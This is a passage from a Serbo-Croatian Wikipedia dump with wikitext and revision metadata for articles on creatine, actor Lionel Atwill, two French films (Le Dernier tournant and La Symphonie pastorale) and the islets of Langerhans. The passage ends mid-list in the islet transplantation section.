Hello and welcome to the Serbo-Croatian Wikipedia! We appreciate your contributions. If you do not speak Serbo-Croatian, that's no problem. Talk to us via [[Wikipedia:Pijaca-Пијаца|our village pump]] in your native language or find and contact [[:Kategorija:Babel|users who speak your language]]. We hope you enjoy your time here!</div> |- | style="background:#fff5c9; border:1px solid #a3bfb1; height:30px; padding-left:1em" | <div class="center" style="width:auto; margin-left:auto; margin-right:auto;">[[File:Internet-group-help-faq.svg|18px|link=Wikipedia:Najčešće postavljana pitanja]] [[Wikipedia:Najčešće postavljana pitanja|Najčešće postavljana pitanja]]</div> |- | style="background:#edffc9; border:1px solid #a3bfb1; height:30px; padding-left:1em" | <div class="center" style="width:auto; margin-left:auto; margin-right:auto;">[[File:Accessories-text-editor.svg|18px|link=Wikipedia:Smjernice i preporuke]] [[Wikipedia:Smjernice i preporuke|Smjernice i preporuke]]</div> |- | style="background:#caffc9; border:1px solid #a3bfb1; height:30px; padding-left:1em" | <div class="center" style="width:auto; margin-left:auto; margin-right:auto;">[[File:Copyright-problem.svg|18px|link=Wikipedia:Autorska prava]] [[Wikipedia:Autorska prava|Autorska prava]]</div> |- | style="background:#c9d8ff; border:1px solid #a3bfb1; height:30px; padding-left:1em" | <div class="center" style="width:auto; margin-left:auto; margin-right:auto;">[[File:Unesco Cultural Heritage logo.svg|18px|link=Wikipedia:Pet stubova Wikipedije]] [[Wikipedia:Pet stubova Wikipedije|Pet stubova Wikipedije]]</div> |- | style="background:#e9c9ff; border:1px solid #a3bfb1; -moz-border-radius-bottomleft:12px; -webkit-border-bottom-left-radius:12px; border-bottom-left-radius:12px; height:30px; padding-left:1em" | <div class="center" style="width:auto; margin-left:auto; margin-right:auto;">[[File:Ambox warning yellow.svg|18px|link=Wikipedia:Šta Wikipedia nije]] [[Wikipedia:Šta Wikipedia nije|Šta Wikipedia nije]]</div> |} oki1q6aec7q0qb0iqt00yxbecsyuwli 2 395558 42602612 2166431 2026-05-27T21:58:55Z Little Sunshine 346946 Little Sunshine premješta stranicu [[Korisnik:SpunkyLepton]] na [[Korisnik:SparkyLepton]]: Automatsko premještanje stranice zbog preimenovanja korisnika "[[Special:CentralAuth/SpunkyLepton|SpunkyLepton]]" u "[[Special:CentralAuth/SparkyLepton|SparkyLepton]]" 2166431 wikitext text/x-wiki {{sznk}} 7231a4bjib6r601rqh4y6suutex2msz 0 625457 42602577 33640026 2026-05-27T17:13:51Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602577 wikitext text/x-wiki {{chembox-lat | Verifiedfields = | Watchedfields = | verifiedrevid = 464366517 | ImageFile = Creatine neutral.png | ImageFile_Ref = {{chemboximage|correct|}} | ImageSize = 160 | ImageName = Skeletal formula of creatine | ImageFile1 = Creatine-3D-balls.png | ImageFile1_Ref = {{chemboximage|correct|}} | ImageSize1 = 160 | ImageName1 = Ball and stick model of creatine | SystematicName = 2-[Karbamimidoil(metil)amino]sirćetna kiselina | OtherNames = ''N''-Karbamimidoil-''N''-metilglicin; Metilguanidosirćetna kiselina | Section1 = {{chembox Identifiers-lat | Abbreviations = | CASNo = 57-00-1 | CASNo_Ref = {{cascite|correct|CAS}} | PubChem = 586 | PubChem_Ref = {{pubchemcite|correct|pubchem}} | ChemSpiderID = 566 | ChemSpiderID_Ref = {{chemspidercite|correct|chemspider}} | UNII = MU72812GK0 | UNII_Ref = {{fdacite|correct|FDA}} | EINECS = 200-306-6 | DrugBank = DB00148 | DrugBank_Ref = {{drugbankcite|correct|drugbank}} | KEGG = C00300 | KEGG_Ref = {{keggcite|correct|kegg}} | MeSHName = Creatine | ChEBI = 16919 | ChEBI_Ref = {{ebicite|correct|EBI}} | ChEMBL = 283800 | ChEMBL_Ref = {{ebicite|correct|EBI}} | RTECS = MB7706000 | ATCCode_prefix = C01 | ATCCode_suffix = EB06 | Beilstein = 907175 | Gmelin = 240513 | 3DMet = B00084 | SMILES = C[n](Cc(:[o]):[oH]):c(:[nH]):[nH2] | SMILES1 = CN(CC(O)=O)C(N)=N | StdInChI = 1S/C4H9N3O2/c1-7(4(5)6)2-3(8)9/h2H2,1H3,(H3,5,6)(H,8,9) | StdInChI_Ref = {{stdinchicite|correct|chemspider}} | StdInChIKey = CVSVTCORWBXHQV-UHFFFAOYSA-N | StdInChIKey_Ref = {{stdinchicite|correct|chemspider}} }} | Section2 = {{chembox Properties-lat | Formula = | C = 4 | H = 9 | N = 3 | O = 2 | Appearance = beli kristali | Odor = bez mirisa | MeltingPtC = 255 | Solubility = 13,3 g L<sup>−1</sup> (na 18&nbsp;°C) | LogP = −1,258 | pKa = 3,429 | pKb = 10,568 | IsoelectricPt = 8,47 }} | Section3 = {{chembox Thermochemistry-lat | DeltaHf = −538,06–−536,30 kJ mol<sup>−1</sup> | DeltaHc = −2,3239–−2,3223 MJ mol<sup>−1</sup> | Entropy = 189,5 J K<sup>−1</sup> mol<sup>−1</sup> | HeatCapacity = 171,1 J K<sup>−1</sup> mol<sup>−1</sup> (na 23,2&nbsp;°C) }} | Section4 = {{chembox Pharmacology-lat | HalfLife = 3 sata }} | Section5 = {{chembox Hazards-lat | GHSPictograms = {{gHS exclamation mark}} | GHSSignalWord = '''WARNING''' | HPhrases = {{h-phrases|315|319|335}} | PPhrases = {{p-phrases|261|305+351+338}} | EUClass = {{hazchem Xi}} | RPhrases = {{r36/37/38}} | SPhrases = {{s26}}, {{s36}} }} | Section6 = {{chembox Related-lat | Function = karboksilne kiseline | OtherFunctn = {{unbulleted list|[[Sarkozin]]|[[Dimetilglicin]]|[[Glikocijamin]]|[[n-Metil-D-aspartinska kiselina|''N''-Metil-<small>D</small>-aspartinska kiselina]]|[[beta-Metilamino-L-alanin|''beta''-Metilamino-<small>L</small>-alanin]]|[[Guanidinopropionska kiselina]]}} | OtherCpds = [[Dimetilacetamid]] }} }} '''Kreatin''' je supstanca koju prirodno proizvodi ljudskom telu kao izvor energije za mišiće. Do sinteze dolazi u sintetiše se u [[jetra|jetri]], ali i u [[pankreas]]u i [[bubreg|bubrezima]]. Kreatin se formira u telu od aminokiselina [[arginin]], [[metionin]] i [[glicin]] i sadrži hemijsku energiju - [[adenozin trifosfat|ATP]]. Organizam prosečne osobe proizvede dnevno oko 2 g kreatina.<ref>{{Cite web|url=http://www.nlm.nih.gov/medlineplus/druginfo/natural/patient-creatine.html |title=Creatine|work=MedLine Plus Supplements|publisher=U.S. National Library of Medicine|date = 20. 07. 2010. |accessdate = 16. 08. 2010.}}</ref> Kreatin pospešuje obnovu ATP-a koji se koristi prilikom rada mišića, te se njegovom suplementacijom ostvarujete i „produženi rad“ tj. veća snagu i bolja izdržljivost. Kreatin se unosi i putem ishrane i najviše ga ima u crvenom mesu i ribi. Uneti kreatin se 98% deponuje u mišićima, dok se preostali deo deponuje u mozgu, srcu i drugim organima, a višak kreatina se izluči preko bubrega u obliku kreatina. U rastvoru, kreatin je u [[Tautomer|equilibrijumu]] sa [[kreatinin]]om.<ref>{{Cite journal|author=Cannan, R. K.; Shore, A. |title=The creatine-creatinine equilibrium. The apparent dissociation constants of creatine and creatinine |journal=Biochem. J. |volume=22 |issue=4 |pages=920–29 |year=1928 |pmid=16744118 |pmc=1252207 |url=http://www.biochemj.org/bj/022/0920/0220920.pdf |accessdate = 2010-10-29}}</ref> == Reference == {{reflist|2}} == Vanjske veze == {{Portal-lat|Hemija}} * [http://www.ebi.ac.uk/pdbe-srv/PDBeXplore/ligand/?ligand=CRN Creatine bound to proteins] in the [[Protein Data Bank|PDB]] * [http://www.quackwatch.org/01QuackeryRelatedTopics/DSH/creatine.html Creatine Supplementation], Beth Lulinski, Quackwatch * [http://news.bbc.co.uk/2/hi/health/3145223.stm Creatine 'boosts brain power'], ''BBC News'', 12 August 2003 * [http://examine.com/supplements/Creatine/ Creatine Supplementation] {{Webarchive|url=https://web.archive.org/web/20130528154321/http://examine.com/supplements/Creatine/ |date=2013-05-28 }} * [http://www.jissn.com/content/4/1/6 International Society of Sports Nutrition position stand: Creatine] [[Kategorija:Aminokiseline]] [[Kategorija:Dodaci prehrani]] [[Kategorija:Gvanidini]] gpv5s0gtwc77gss3ux3jwjt1hoy70oa 0 1068385 42602658 42583111 2026-05-28T03:45:23Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602658 wikitext text/x-wiki {{Infokutija glumac | ime = Lionel Atwill | slika = Elsie Mackay and Lionel Atwill.jpg | opis = godine 1922. sa drugom suprugom<br />[[Elsie Mackay (glumica)|Elsie Mackay]] na foto-promociji u ''[[Vanity Fair (magazin)|Vanity Fair]]''<br />za ''The White-Faced Fool'' | datum_rođenja = {{Birth date|1885|3|1|df=y}} | mjesto_rođenja = [[Croydon]], [[Surrey]], [[Engleska]], UK | datum_smrti = {{Death date and age|1946|4|22|1885|4|22|df=y}} | mjesto_smrti = [[Pacific Palisades (Kalifornija)|Pacific Palisades]], [[Kalifornija]], SAD | zanimanje = glumac | period = 1905–1946 | supružnik = Phyllis Relph (1913-1919) (razvod) 1 child<br />Elsie Mackay (1920-1928) (razvod)<br />Henrietta Louise Cromwell Brook MacArthur (1930-1943) (razvod)<br />Mary Paula Pruter (1944-1946) (njegova smrt, 1 dijete) |znamenite_uloge = Inspektor Krogh u ''[[Son of Frankenstein]]'' }} '''Lionel Alfred William Atwill''' (22. april 1885 - 22. april 1946) bio je [[UK|britanski]] glumac, najpoznatiji po karakternim ulogama u [[horor film]]ovima [[klasični Hollywood|klasičnog Hollywooda]] 1930-ih i 1940-ih. U mladosti je studirao arhitekturu, prije nego što se 1904. okušao na pozornici u domovini. S vremenom je nastupao u [[Australija|Australiji]] i na [[Broadway]]u, prije nego što je 1919. godine dobio svoj prvi filmski angažman. S vremenom se specijalizirao za dva tipa uloga - duševne bolesnike i osobe od autoriteta. Imao je izuzetno buran privatni život, koji je 1941. godine ozbiljno uticao na njegovu karijeru, nakon što je seksualna orgija u njegovom domu postala predmetom suđenja za [[krivokletstvo]]. == Djelomična filmografija == {{div col|cols=2}} * ''[[Eve's Daughter]]'' (1918) * ''[[Doctor X (film)|Doctor X]]'' (1932) * ''[[The Vampire Bat]]'' (1933) * ''[[Mystery of the Wax Museum]]'' (1933) * ''[[The Sphinx (1933 film)|The Sphinx]]'' (1933) * ''[[The Song of Songs (1933 film)|The Song of Songs]]'' (1933) * ''[[Secret of the Blue Room]]'' (1933) * ''[[Murders in the Zoo]]'' (1933) * ''[[The Solitaire Man]]'' (1933) * ''[[Stamboul Quest]]'' (1934) * ''[[Beggars in Ermine]]'' (1934) * ''[[Nana (1934 film)|Nana]]'' (1934) * ''[[The Age of Innocence (1934 film)|The Age of Innocence]]'' (1934) * ''[[The Devil Is a Woman (1935 film)|The Devil Is a Woman]]'' (1935) * ''[[Mark of the Vampire]]'' (1935) * ''[[The Murder Man]]'' (1935) * ''[[Rendezvous (1935 film)|Rendezvous]]'' (1935) * ''[[Captain Blood (1935 film)|Captain Blood]]'' (1935) * ''[[Till We Meet Again (1936 film)|Till We Meet Again]]'' (1936) * ''[[The Wrong Road]]'' (1937) * ''[[The High Command]]'' (1937) * ''[[Lancer Spy]]'' (1937) * ''[[The Great Garrick]]'' (1937) * ''[[Three Comrades (film)|Three Comrades]]'' (1938) * ''[[The Great Waltz (film)|The Great Waltz]]'' (1938) * ''[[Son of Frankenstein]]'' (1939) * ''[[The Three Musketeers (1939 film)|The Three Musketeers]]'' (1939) * ''[[The Hound of the Baskervilles (1939 film)|The Hound of the Baskervilles]]'' (1939) * ''[[The Gorilla (1939 film)|The Gorilla]]'' (1939) * ''[[Mr. Moto Takes a Vacation]]'' (1939) * ''[[Charlie Chan in Panama]]'' (1940) * ''[[Johnny Apollo (film)|Johnny Apollo]]'' (1940) * ''[[Charlie Chan's Murder Cruise]]'' (1940) * ''[[Boom Town (film)|Boom Town]]'' (1940) * ''[[Man Made Monster]]'' (1941) reizdan kao ''The Atomic Monster'' * ''[[To Be or Not to Be (1942 film)|To Be or Not to Be]]'' (1942) * ''[[The Ghost of Frankenstein]]'' (1942) * ''[[Junior G-Men of the Air]]'' (filmski serijal, 1942) * ''[[Pardon My Sarong]]'' (1942) * ''[[Night Monster]]'' (1942) * ''[[Sherlock Holmes and the Secret Weapon]]'' (1943) * ''[[Frankenstein Meets the Wolf Man]]'' (1943) * ''[[Secrets of Scotland Yard]]'' (1944) * ''[[Captain America (serijal)|Captain America]]'' (filmski serijal, 1944) * ''[[Raiders of Ghost City]]'' (1944 serial) * ''[[House of Frankenstein (1944 film)|House of Frankenstein]]'' (1944) * ''[[Lady in the Death House]]'' (1944) * ''[[Crime, Inc. (1945 film)|Crime, Inc.]]'' (1945) * ''[[Fog Island]]'' (1945) * ''[[House of Dracula]]'' (1945) * ''[[Lost City of the Jungle]]'' (1946 serial) {{div col end}} == Literatura == * {{cite book |last=Mank |first=Gregory William |year=1998 |title= Hollywood's Maddest Doctors. A Biography of Lionel Atwill, Colin Clive and George Zucco |location=Baltimore MD |publisher=Midnight Marquee Press |isbn=188766422X |accessdate=2013-12-13 }} * {{cite book |last=Smith |first=Ronald L. |year=2010 |title=Horror stars on radio, The broadcast histories of 29 chilling Hollywood voices |url=https://archive.org/details/horrorstarsonrad0000smit |location= Jefferson NC |publisher=McFarland |isbn= 978-0786445257 |accessdate=2013-12-13 }} * {{cite book |last= Pitts |first= Michael R. |year=1981 |title= Horror Film Stars |location=Jefferson NC |publisher= McFarland |isbn= 0-89950-004-8 |accessdate=2013-12-13 }} * {{cite book |last1=Stuart |first1=Ray |last2=Banasiewicz |first2=Czeslaw Z. |year=1965 |title=Immortals of the Screen |url=https://archive.org/details/isbn_0517067846 |location=New York |publisher=Bonanza Books |asin=B000OGH3S2 |accessdate=2013-12-13 }} * {{cite book |last1=Twomey |first1=Alfred E. |last2=McClure |first2=Arthur F. |year=1969 |title= The Versatiles, A Study of Supporting Character Actors and Actresses in the American Motion Picture, 1930-1955 |url=https://archive.org/details/versatilesstudyo00twom |location=[[South Brunswick]] NJ |publisher=A.S. Barnes & Company |isbn=978-0498067921 |accessdate=2013-12-13 }} == Vanjske veze == {{commons category-inline}} * {{IMDb name|0041172}} * {{IBDB name|14075}} * {{Find a Grave|6807943}} * [http://lionelatwillfanclub.tripod.com/ Official Lionel Atwill - Web Site & Fan Club] {{Webarchive|url=https://web.archive.org/web/20131215044931/http://lionelatwillfanclub.tripod.com/ |date=2013-12-15 }} {{Lifetime|1885|1946|Atwill, Lionel}} [[Kategorija:Engleski filmski glumci]] [[Kategorija:Engleski teatarski glumci]] 92qpbwywp1rflm130cjq5qx1gxuxsi0 0 1185407 42602633 42318015 2026-05-28T00:45:32Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602633 wikitext text/x-wiki {{Infokutija film |tip = c/b |naslov=Le Dernier tournant |slika=Le Dernier tournant.jpg |režija=[[Pierre Chenal]] |scenario=[[Charles Spaak]] i Henri Torrès |based on = {{based on|''[[The Postman Always Rings Twice (roman)|The Postman Always Rings Twice]]''|[[James M. Cain]]}} |uloge={{ubl|[[Fernand Gravey]]|[[Michel Simon]]|[[Corinne Luchaire]]}} |muzika=[[Jean Wiener]] |fotografija=[[Christian Matras (direktor fotografije)|Christian Matras]]<br />[[Claude Renoir]] |montaža=Borys Lewin |zemlja={{flagcountry|FRA}} |jezik=francuski |trajanje=90 min. |premijera={{Filmdate|1939|5|17|df=y}} |studio=Gladiator Productions |distributer=Compagnie Cinématographique de France }} '''''Le Derniere Tournant''''' ({{jez-sh|Posljednje skretanje}}) je [[francuska|francuski]] crno-bijeli film snimljen 1939. u režiji [[Pierre Chenal|Pierrea Chenala]], poznat kao prva od brojnih ekranizacija kriminalističkog romana ''[[The Postman Always Rings Twice (roman)|The Postman Always Rings Twice]]'' američkog pisca [[James M. Cain|Jamesa M. Caina]]. Protagonist, koga tumači [[Fernand Gravey]] je mladi skitnica po imenu Frank koji dobija posao u zalogajnici koji vodi stari Nick (koga tumači [[Michel Simon]], i gdje započinje ljubavnu vezu sa Nickovom suprugom Corom (koju tumači [[Corinne Luchaire]]). Radnja prikazuje kako ljubavnici likvidiraju muža fingirajući nesretni slučaj, ali i kako će ih sticaj okolnosti natjerati da plate za svoj zločin. ''Le Derniere Tournant'' je snimljen bez dozvole autora (slično kao i kasniji i poznatiji film ''[[Ossessione]]'' u Italiji). Na scenariju je, pak, radio ugledni francuski pravnik Henri Torrès, angažiran kako bi što autentičnije prikazao krivični postupak. == Uloge == * [[Fernand Gravey]] ... Frank * [[Michel Simon]] ... Nick Marino * [[Corinne Luchaire]] ... Cora Marino * [[Marcel Vallée]] ... Le juge * [[Robert Le Vigan]] ... Le cousin maître-chanteur * [[Etienne Decroux]] ... Le patron du bistrot * [[Florence Marly]] ... Madge, la dompteuse == Vanjske veze == * {{imdb title|0031222}} * {{bfidb title|185446}} * [http://filmsdefrance.com/FDF_Le_Dernier_tournant_rev.html ''Le Dernier tournant''] {{Webarchive|url=https://web.archive.org/web/20121025054632/http://filmsdefrance.com/FDF_Le_Dernier_tournant_rev.html |date=2012-10-25 }} at filmsdefrance.com {{Pierre Chenal}} {{Normativna kontrola}} {{DEFAULTSORT:Dernier tournant, Le}} [[Kategorija:Francuski filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Kriminalistički filmovi]] 3dif5396eg7ks0p9z0968qgghno88tf 0 1187090 42602616 42317987 2026-05-27T22:01:00Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602616 wikitext text/x-wiki {{Infokutija film |tip=c/b | naslov = La Symphonie Pastorale | slika = La Symphonie Pastorale poster.jpg | opis = filmski poster | režija = [[Jean Delannoy]] | based on = {{based on|''[[La Symphonie Pastorale (roman)|La Symphonie Pastorale]]''|[[André Gide]]}} | uloge = [[Pierre Blanchar]]<br />[[Michèle Morgan]] |scenario = [[Jean Aurenche]] |muzika = [[Georges Auric]] | distributer = Pathé Consortium Cinéma | premijera = {{Filmdate|1946|9}} ([[1. kanski filmski festival|Cannes]]) | trajanje = 110 min. | jezik = francuski | zemlja = {{flagcountry|FRA}} }} '''''La Symphonie pastorale''''' ({{jez-sh|Pastorala simfonija}}) je [[Francuska|francuski]] igrani film snimljen 1946. u režiji [[Jean Delannoy|Jeana Delannoya]]. Temelji se na [[La Symphonie pastorale (roman)|istoimenom]] romanu [[Andre Gide|Andrea Gidea]]. Protagonist, čiji lik tumači [[Pierre Blanchar]], je švicarski [[Protestantizam|protestantski]] pastor koji je usvojio slijepu djevojčicu. Radnja prikazuje kako, nakon ona što naraste u lijepu djevojku (čiji lik tumači [[Michèle Morgan]]) pastor sebi i svojoj porodici odbija priznati da je voli, a što će imati tragične posljedice. ''La Symphonie pastorale'' je premijerno prikazan na [[1. kanski filmski festival|prvom Kanskom filmskom festivalu]], gdje je podijelio Grand Prix (preteču današnje [[Zlatna palma|Zlatne palme]] s još nekoliko ostvarenja. == Vanjske veze == * {{imdb title|id=0039004|title=La Symphonie Pastorale}} * [http://filmsdefrance.com/FDF_La_symphonie_pastorale_rev.html ''La Symphonie Pastorale''] {{Webarchive|url=https://web.archive.org/web/20130222180718/http://filmsdefrance.com/FDF_La_symphonie_pastorale_rev.html |date=2013-02-22 }} at filmsdefrance.com {{Jean Delannoy}} {{Palme d'Or}} {{Normativna kontrola}} {{DEFAULTSORT:Symphonie pastorale}} [[Kategorija:Francuski filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Dobitnici Zlatne palme]] ouhmoqtb7y7gth5tchx52kqof6vi74n 0 1264468 42602624 42506140 2026-05-27T23:24:36Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602624 wikitext text/x-wiki {{Infobox disease | Name = Langerhansova ostrvca | latinski = | Image = Gray1105.png | slika = | Alt = | Width = | Caption = | tekst uz sliku = [[Grejova anatomija]]:<br /> Langerhansova ostrvca ([[pankreas]] [[Pas|psa]]) | DiseasesDB = | ICD10 = | ICD9 = | ICDO = | OMIM = | MedlinePlus = | eMedicineSubj = | eMedicineTopic = | MeshID = | GeneReviewsID = | GeneReviewsName = | dodatna klasifikacija = }} '''Langerhansova ostrvca''' su područja [[pankreas]]a (gušterače) koja sadrže endokrine [[ćelije]] (koje proizvode [[Hormoni|hormone]] pankrease) grupisane u obliku [[Ostrvo|ostrvaca]] razbacanih po egzokrinom pankreasu, raspoređenenih između njegovih meškova (najviše u repu [[pankreas]]a). Otkrivena su [[1869]]. od strane [[Nemac|nemačkog]] patologa i anatoma [[Pol Langerhans|Pola Langerhansa]] po kome su i dobila ime.<ref>{{Cite journal | author = Langerhans P | title = Beitrage zur mikroscopischen anatomie der bauchspeichel druse. | journal = Inaugural-dissertation. Berlin: Gustav Lange | volume = | issue = | pages = | year = 1869 | pmid = | doi = | pmc = }}</ref> == Fiziologija == '''Egzokrina funkcija'''. Pankreas je žlezda sa egzokrinim lučenjem enzima koji igraju vitalnu ulogu u: * neutralizaciji kiseline koja iz želuca dospeva u duodenum, čime se sprečava oštećenja sluzokože duodenuma i creva, * procesu razbijanja makromolekularnih hranljive materije - proteine, masti i skroba - u manje čestice koje mogu da se apsorbuje preko sluzokože creva u krv. '''Endokrina funkcija'''. Pored toga što je egzokrina žlezda, pankreas je i endokrina žlezda koja luči važne hormone - [[insulin]] i [[glukagon]]a- koji igraju vitalnu ulogu u metabolizmu [[Lipidi|lipida]] i [[ugljeni hidrati|ugljenih hidrata]]. Ovi [[hormon]]i su u organizmu neophodni za održavanje normalnog nivoa koncentracije glukoze u krvi. == Anatomija == [[Datoteka:Langerhanssche Insel.jpg|mini|desno|235p|Langerhansovo ostrvce]] [[Pankreas]] je podeljen u režnjeve pregradama koje se sastoje od [[Vezivno tkivo|vezivnog tkiva]]. Režnjevi se sastoje uglavnom od grozdastih struktura egzokrinih [[ćelija]] koje se zovu acinusi i koje luče digestivne [[enzim]]e. Egzokrini sekret iz acinusa se sukcesivno kreće kroz interkalarne i intralobularne kanale, nterlobularne cevi da bi konačno kroz glavni pankreasni kanala dospeo u [[duodenum]].<ref>{{en}}R. Boven ''Histologija pankreasa'' [http://www.vivo.colostate.edu/hbooks/pathphys/digestion/pancreas/histology.html colostate.edu] {{Webarchive|url=https://web.archive.org/web/20180319084035/http://www.vivo.colostate.edu/hbooks/pathphys/digestion/pancreas/histology.html |date=2018-03-19 }}, Pristupljeno 10. 4. 2013.</ref> Po celom tkivu egzokrinog [[pankreas]]a raspoređena su Langerhansova ostrvca, endokrina komponenta pankreasa. Ostrvca sadrže više tipova [[ćelija]] (''alfa, beta i delta'') bogato vaskularizovanih, što omogućavaja dobar i brz unos hormona u cirkulaciju. Iako Langerhansova ostrvca čine oko 1 do 2% [[masa|mase]] [[pankreas]]a, 10 do 15% protoka krvi pankreasa obavlja se u ostrvcima. Kod zdrave odrasle osobe u njegovom pankreasu postoji oko milion ostrvaca, čija je pojedinačna [[masa]] od 1 do 1,5 [[gram]].<ref name="pmid7559135">{{Cite journal | author = Elayat AA, el-Naggar MM, Tahir M | title = An immunocytochemical and morphometric study of the rat pancreatic islets | journal = Journal of Anatomy | volume = 186 (Pt 3) | issue = | pages = 629–37 | year = 1995 | pmid = 7559135 | doi = | pmc = 1167020 }}</ref> Langerhansova ostrvca su razbacana po egzokrinom pankreasu i smeštena su između njegovih meškova, najviše u repu pankreasa. U standardnom histološkom preparatu delova pankreasa, ostrvca se prikazuju kao relativno bledo obojene grupe ćelija ugrađen u moru tamnije obojenog egzokrinog tkiva. Slika sa desne strane prikazuje ostrvca u pankreasnom tkivu. Pankreasna ostrva sastoje se iz tri glavne vrste ćelija, od kojih svaka proizvodi drugačije endokrine proizvod: * '''[[Alfa ćelije]]''' — (α-ćelija) koje luče hormon [[glukagon]]a.(15% do 20% od ukupnog broja ćelija ostrvaca) * '''[[Beta ćelije]]''' — ''(β-ćelije)'' koje luče [[insulin]] i najzastupljenije su ćelije u ostrvcima. (65% do 80%) * '''[[Delta ćelije]]''' — ''(δ-ćelija)'' koje luče hormon [[somatostatin]]. (3% do 10%) * '''[[PP ćelije]]''' ''(F ćelije'') koje luče pankreasne [[polipeptid]]e. (3% do 5%) * '''[[Epsilon ćelije]]''' — ''(ξ-ćelija)'' koje luče [[grelin]] (nedavno otkriven peptidni [[hormon]], koji poseduje osobine [[gonadotropin]]a i hormona drugih metaboličkih i endokrinih funkcija. (manje od 1%) Interesantno je da se različiti tipovi [[ćelija]] unutar ostrvaca različito raspoređuju - beta ćelije zauzimaju centralni deo ostrvca i okruženi su „korom“ alfa i delta ćelije. Osim insulina, glukagona i somatostatina, niz drugih „manjih“ hormona je identifikovani kao proizvod Langhansovih ćelija. Langerhansova ostrvca su inervisana od strane parasimpatičkog i simpatijčkog neurona, preko kojih se nervni signali, jasno modulirani, regulišu lučenje insulina i glukagona. == Endokrina funkcija Langerhansovih ostrvaca == Langerhansova ostrvca su odgovorna za endokrinu funkciju koja se ogleda u radu endokrinih ćelija grupisanih u ovim ostrvcima. Langerhansova ostrvca se satoje iz tri tipa ćelija: ''alfa, beta i delta''. ''Beta ćelije'' izlučuju hormon [[insulin]] ({{jez-lat |insula - ostrvo}}), dok ''alfa ćelije'' izlučuju [[glukagon]]. Insulin i glukagon poseduju antagonistička dejstva: dok insulin smanjuje koncentraciju glukoze u krvi, glukagon je povećava. ''Delta ćelije'' luče hormon [[somatostatin]] koji ihibira sekreciju ostalih hormona. Takođe pankreas sekretuje još jedan hormon [[amilin]], koji reguliše brzinu resorpcije u gastrointestinaloom sistemu. Povećana koncentracija [[glukoza|glukoze]] (šećera) u krvi dovodi do pojačanog lučenja insulina pod čijim dejstvom se smanjuje nivo šećera u krvi. Kada se nivo glukoze smanji na normalu, smanjuje se i lučenje insulina. Međutim, kada se insulin nedovoljno izlučuje ili postoji rezistencija na njega dolazi do nagomilavanja glukoze u krvi, tj. [[hiperglikemija|hiperglikemije]] (vrednosti veće od 6,66&nbsp;mmol/l) što dovodi do [[šećerna bolest|šećerne bolesti]] ({{jez-lat|diabetes mellitus }}) === Parakrina povratna sprega === Parakrini sistem povratne sprege informacija u Langerhansovim ostrvcima ima sledeću ulogu:<ref name="isbn0-683-30603-0">{{Cite book | author = Wang, Michael B.; Bullock, John; Boyle, Joseph R. | title = Physiology | publisher = Lippincott Williams & Wilkins | location = Hagerstown, MD | year = 2001 | pages = 391 | isbn = 0-683-30603-0 | oclc = | doi = }}</ref> * ''[[Insulin]]:'' aktivira beta ćelije i sprečava lučenje alfa ćelija * ''[[Glukagon]]:''aktivira alfa ćelije koje zatim aktiviraju beta ćelije i delta ćelije. Glukagon se smatra antagosnističkim hormonom insulinu. Povećanje lučenja glukagona je praćeno padom lučenja insulina i obrnuto. * ''[[Somatostatin]]'': inhibira alfa i beta ćelije i inhibiše lučenje insulina i glukagona. Održavanje ravnoteže između [[insulin]]a i [[Glikoza|glikoze]] je veoma precizno. Samo nesmetano funkcionisanje parakrine povratne veze obezbeđuje održavanje energetske ravnoteže i pravilnu ishranjenost organizma. == Transplantacija u lečenju dijabetesa == [[Transplantacija]] [[pankreas]]a je jedan od najoptimalnijih oblika savremene supstitucione terapije [[Dijabetes|dijabetesa tipa 1]] kojim bi mogla da se postigne [[insulin]]ske nezavisnost [[bolesnik]]a. Prema preporukama Američke asocijacije za dijabetes transplantacija endokrinog pankreasa je prihvaćena kao terapijska metoda, koja ima za cilj da: popravi kvalitet života bolesnika sa [[dijabetes]]om, eliminiše potrebu za davanjem insulina i čestim kontrolama glikemija, eliminiše akutne komplikacije kao i da sprečava pojavu ili uspori napredovanje kasnih komplikacija dijabetesa.<ref name="pmid17981623">{{Cite journal | author = Hogan A, Pileggi A, Ricordi C | title = Transplantation: current developments and future directions; the future of clinical islet transplantation as a cure for diabetes | journal = Frontiers of Bioscience | volume = 13 | issue = | pages = 1192–205 | year = 2008 | pmid = 17981623 | doi =10.2741/2755 }}</ref> Transplantacija endokrinog pankreasa se može izvršiti;<ref>[http://www.faqs.org/faqs/diabetes/faq/part3/section-14.html Type 1 cures - pancreas transplants], Pristupljeno 10. 4. 2013.</ref> * '''Transplantacijom celog pankreasa''' Prva transplantacija ljudskog pankreasa u cilju lečenja pacijenata sa [[dijabetes|dijabetesom tip 1]] izvršena je [[1966]]. u [[Minesota|Minesoti]], [[SAD]]. Prema podacima Internacionalnog Registra za transplantaciju pankreasa do sada je obavljeno oko 20.000 transplantacija. Jednogodišnja potpuna nezavisnost od primene [[insulin]]a uz normalnu jutarnju glikemiju i normalne ili samo blago povišene vrednosti glikoziliranog [[hemoglobin]]a (HbA1c), zabeležena je kod 80% pacijenata kod kojih je [[pankreas]] istovremeno transplantiran sa [[bubreg]]om. * '''Transplantacija segmenata ili humanih adultnih ostrvaca endokrinog pankreasa''' Oslobađanje očuvanih ostrvaca pankreasa od njegovog okolnog tkiva vrši se enzimskom digestijom primenom kolagenaze. Izolacija humanih adultnih ostrvaca vrši se: neautomatskim ili automatskim metodom. Za postizanje insulinske nezavisnosti neophodna je transplantacija oko 500.000 ostrvaca, koja se presađuju preko vena jetre. Nakon presađivanja neophodna je imunosupresivna terapija. Insulinska nezavisnost se postiže u oko 32% pacijenata, a preživljavanje transplantiranih izolovanih ostrvaca i insulinska nezavisnost trajala je u proseku 6 godina.<ref name="pmid18337609">{{Cite journal | author = Chatenoud L | title = Chemical immunosuppression in islet transplantation--friend or foe? | url = https://archive.org/details/sim_new-england-journal-of-medicine_2008-03-13_358_11/page/1192 | journal = New England Journal of Medicine | volume = 358 | issue = 11 | pages = 1192–3 | year = 2008 | pmid = 18337609 | issn = 0028-4793 | doi = 10.1056/NEJMcibr0708067 }}</ref> * 